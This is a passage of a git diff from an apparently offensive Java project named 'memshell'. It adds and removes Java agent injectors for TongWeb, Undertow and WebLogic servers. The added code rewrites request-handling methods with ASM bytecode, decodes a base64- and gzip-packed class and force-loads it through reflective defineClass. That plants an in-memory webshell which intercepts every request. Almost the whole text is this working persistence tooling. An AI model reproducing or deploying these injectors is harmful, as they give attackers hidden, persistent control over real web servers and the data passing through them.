this.argumentTypes = argTypes; + this.className = className; + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + @SuppressWarnings("all") + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + try { + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentWithAsmInjector.java deleted file mode 100644 index 5d0300c1..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentWithAsmInjector.java +++ /dev/null @@ -1,99 +0,0 @@ -package com.reajason.javaweb.memshell.injector.tongweb; - -import org.objectweb.asm.*; - -import java.lang.instrument.ClassFileTransformer; -import java.lang.instrument.Instrumentation; -import java.lang.reflect.Constructor; -import java.security.ProtectionDomain; - -/** - * @author ReaJason - * @since 2025/3/26 - */ -public class TongWebFilterChainAgentWithAsmInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "com/tongweb/web/thor/core/ApplicationFilterChain"; - private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/ApplicationFilterChain"; - private static final String TARGET_METHOD_NAME = "doFilter"; - - static Constructor constructor = null; - - static { - try { - Class clazz = Class.forName(getClassName()); - constructor = clazz.getConstructors()[0]; - constructor.setAccessible(true); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public TongWebFilterChainAgentWithAsmInjector() { - } - - @Override - public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) { - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); - } - } - return bytes; - } - - public static String getClassName() { - return "{{advisorName}}"; - } - - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return (MethodVisitor) constructor.newInstance(mv, argumentTypes); - } catch (Exception e) { - e.printStackTrace(); - } - } - return mv; - } - }; - } - - public static void premain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static void agentmain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - private static void launch(Instrumentation inst) throws Exception { - System.out.println("MemShell Agent is starting"); - inst.addTransformer(new TongWebFilterChainAgentWithAsmInjector(), true); - for (Class allLoadedClass : inst.getAllLoadedClasses()) { - String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name) - || TARGET_CLASS_1.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); - } - } - System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter"); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java new file mode 100644 index 00000000..41dfc99c --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java @@ -0,0 +1,225 @@ +package com.reajason.javaweb.memshell.injector.undertow; + +import org.objectweb.asm.*; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.net.URL; +import java.net.URLClassLoader; +import java.security.ProtectionDomain; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class UndertowServletHandlerAgentInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "io/undertow/servlet/handlers/ServletInitialHandler"; + private static final String TARGET_METHOD_NAME = "handleFirstRequest"; + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static String getBase64String() { + return "{{base64String}}"; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new UndertowServletHandlerAgentInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest"); + } + } + } + + @Override + @SuppressWarnings("all") + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Throwable e) { + e.printStackTrace(); + } + } + return bytes; + } + + @SuppressWarnings("all") + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + } catch (Throwable e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static class AgentShellMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; + private final String className; + + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argTypes; + this.className = className; + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + @SuppressWarnings("all") + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + try { + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentInjector.java deleted file mode 100644 index ec7a5751..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentInjector.java +++ /dev/null @@ -1,63 +0,0 @@ -package com.reajason.javaweb.memshell.injector.undertow; - -import net.bytebuddy.agent.builder.AgentBuilder; -import net.bytebuddy.asm.Advice; -import net.bytebuddy.description.type.TypeDescription; -import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.matcher.ElementMatchers; -import net.bytebuddy.utility.JavaModule; - -import java.lang.instrument.Instrumentation; -import java.security.ProtectionDomain; - -import static net.bytebuddy.matcher.ElementMatchers.named; - -/** - * @author ReaJason - * @since 2024/12/28 - */ -public class UndertowServletInitialHandlerAgentInjector implements AgentBuilder.Transformer { - - static Class interceptorClass = null; - - static { - try { - interceptorClass = Class.forName(getClassName()); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } - } - - @Override - public DynamicType.Builder transform(DynamicType.Builder builder, - TypeDescription typeDescription, - ClassLoader classLoader, JavaModule module, - ProtectionDomain protectionDomain) { - return builder.visit(Advice.to(interceptorClass).on(named("handleFirstRequest"))); - } - - public static void premain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static void agentmain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static String getClassName() { - return "{{advisorName}}"; - } - - private static void launch(Instrumentation inst) throws Exception { - System.out.println("MemShell Agent is starting"); - new AgentBuilder.Default() - .ignore(ElementMatchers.none()) - .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) -// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) -// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) - .type(named("io.undertow.servlet.handlers.ServletInitialHandler")) - .transform(new UndertowServletInitialHandlerAgentInjector()) - .installOn(inst); - System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest"); - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentWithAsmInjector.java deleted file mode 100644 index 288cc07d..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentWithAsmInjector.java +++ /dev/null @@ -1,97 +0,0 @@ -package com.reajason.javaweb.memshell.injector.undertow; - -import org.objectweb.asm.*; - -import java.lang.instrument.ClassFileTransformer; -import java.lang.instrument.Instrumentation; -import java.lang.reflect.Constructor; -import java.security.ProtectionDomain; - -/** - * @author ReaJason - * @since 2025/3/26 - */ -public class UndertowServletInitialHandlerAgentWithAsmInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "io/undertow/servlet/handlers/ServletInitialHandler"; - private static final String TARGET_METHOD_NAME = "handleFirstRequest"; - - static Constructor constructor = null; - - static { - try { - Class clazz = Class.forName(getClassName()); - constructor = clazz.getConstructors()[0]; - constructor.setAccessible(true); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public UndertowServletInitialHandlerAgentWithAsmInjector() { - } - - @Override - public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); - } - } - return bytes; - } - - public static String getClassName() { - return "{{advisorName}}"; - } - - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return (MethodVisitor) constructor.newInstance(mv, argumentTypes); - } catch (Exception e) { - e.printStackTrace(); - } - } - return mv; - } - }; - } - - public static void premain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static void agentmain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - private static void launch(Instrumentation inst) throws Exception { - System.out.println("MemShell Agent is starting"); - inst.addTransformer(new UndertowServletInitialHandlerAgentWithAsmInjector(), true); - for (Class allLoadedClass : inst.getAllLoadedClasses()) { - String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); - } - } - System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest"); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java index 55607097..5783c872 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java @@ -1,39 +1,30 @@ package com.reajason.javaweb.memshell.injector.weblogic; -import net.bytebuddy.agent.builder.AgentBuilder; -import net.bytebuddy.asm.Advice; -import net.bytebuddy.description.type.TypeDescription; -import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.matcher.ElementMatchers; -import net.bytebuddy.utility.JavaModule; +import org.objectweb.asm.*; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; +import java.net.URL; +import java.net.URLClassLoader; import java.security.ProtectionDomain; - -import static net.bytebuddy.matcher.ElementMatchers.named; +import java.util.zip.GZIPInputStream; /** * @author ReaJason - * @since 2025/1/3 + * @since 2025/3/26 */ -public class WebLogicServletContextAgentInjector implements AgentBuilder.Transformer { +public class WebLogicServletContextAgentInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "weblogic/servlet/internal/WebAppServletContext"; + private static final String TARGET_METHOD_NAME = "securedExecute"; - static Class interceptorClass = null; - - static { - try { - interceptorClass = Class.forName(getClassName()); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } + public static String getClassName() { + return "{{advisorName}}"; } - @Override - public DynamicType.Builder transform(DynamicType.Builder builder, - TypeDescription typeDescription, - ClassLoader classLoader, JavaModule module, - ProtectionDomain protectionDomain) { - return builder.visit(Advice.to(interceptorClass).on(named("securedExecute"))); + public static String getBase64String() { + return "{{base64String}}"; } public static void premain(String args, Instrumentation inst) throws Exception { @@ -44,20 +35,241 @@ public class WebLogicServletContextAgentInjector implements AgentBuilder.Transfo launch(inst); } - public static String getClassName() { - return "{{advisorName}}"; - } - private static void launch(Instrumentation inst) throws Exception { System.out.println("MemShell Agent is starting"); - new AgentBuilder.Default() - .ignore(ElementMatchers.none()) - .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) -// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) -// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) - .type(named("weblogic.servlet.internal.WebAppServletContext")) - .transform(new WebLogicServletContextAgentInjector()) - .installOn(inst); - System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute"); + inst.addTransformer(new WebLogicServletContextAgentInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute"); + } + } } -} \ No newline at end of file + + @Override + @SuppressWarnings("all") + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + @SuppressWarnings("all") + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static class AgentShellMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; + private final String className; + + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argTypes; + this.className = className; + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + Type argumentType = argumentTypes[i]; + mv.visitVarInsn(argumentType.getOpcode(Opcodes.ILOAD), getArgIndex(i)); + boxPrimitive(mv, argumentType); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + @SuppressWarnings("all") + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + + private void boxPrimitive(MethodVisitor mv, Type type) { + if (type.getSort() == Type.OBJECT || type.getSort() == Type.ARRAY) { + return; // Already an object + } + + String owner; + String descriptor; + + switch (type.getSort()) { + case Type.BOOLEAN: + owner = "java/lang/Boolean"; + descriptor = "(Z)Ljava/lang/Boolean;"; + break; + case Type.CHAR: + owner = "java/lang/Character"; + descriptor = "(C)Ljava/lang/Character;"; + break; + case Type.BYTE: + owner = "java/lang/Byte"; + descriptor = "(B)Ljava/lang/Byte;"; + break; + case Type.SHORT: + owner = "java/lang/Short"; + descriptor = "(S)Ljava/lang/Short;"; + break; + case Type.INT: + owner = "java/lang/Integer"; + descriptor = "(I)Ljava/lang/Integer;"; + break; + case Type.FLOAT: + owner = "java/lang/Float"; + descriptor = "(F)Ljava/lang/Float;"; + break; + case Type.LONG: + owner = "java/lang/Long"; + descriptor = "(J)Ljava/lang/Long;"; + break; + case Type.DOUBLE: + owner = "java/lang/Double"; + descriptor = "(D)Ljava/lang/Double;"; + break; + default: + // Should not happen for primitive types + return; + } + mv.visitMethodInsn(Opcodes.INVOKESTATIC, owner, "valueOf", descriptor, false); + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + try { + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentWithAsmInjector.java deleted file mode 100644 index 00b0607f..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentWithAsmInjector.java +++ /dev/null @@ -1,97 +0,0 @@ -package com.reajason.javaweb.memshell.injector.weblogic; - -import org.objectweb.asm.*; - -import java.lang.instrument.ClassFileTransformer; -import java.lang.instrument.Instrumentation; -import java.lang.reflect.Constructor; -import java.security.ProtectionDomain; - -/** - * @author ReaJason - * @since 2025/3/26 - */ -public class WebLogicServletContextAgentWithAsmInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "weblogic/servlet/internal/WebAppServletContext"; - private static final String TARGET_METHOD_NAME = "securedExecute"; - - static Constructor constructor = null; - - static { - try { - Class clazz = Class.forName(getClassName()); - constructor = clazz.getConstructors()[0]; - constructor.setAccessible(true); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public WebLogicServletContextAgentWithAsmInjector() { - } - - @Override - public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - return cw.toByteArray(); - } catch (Exception e) { - 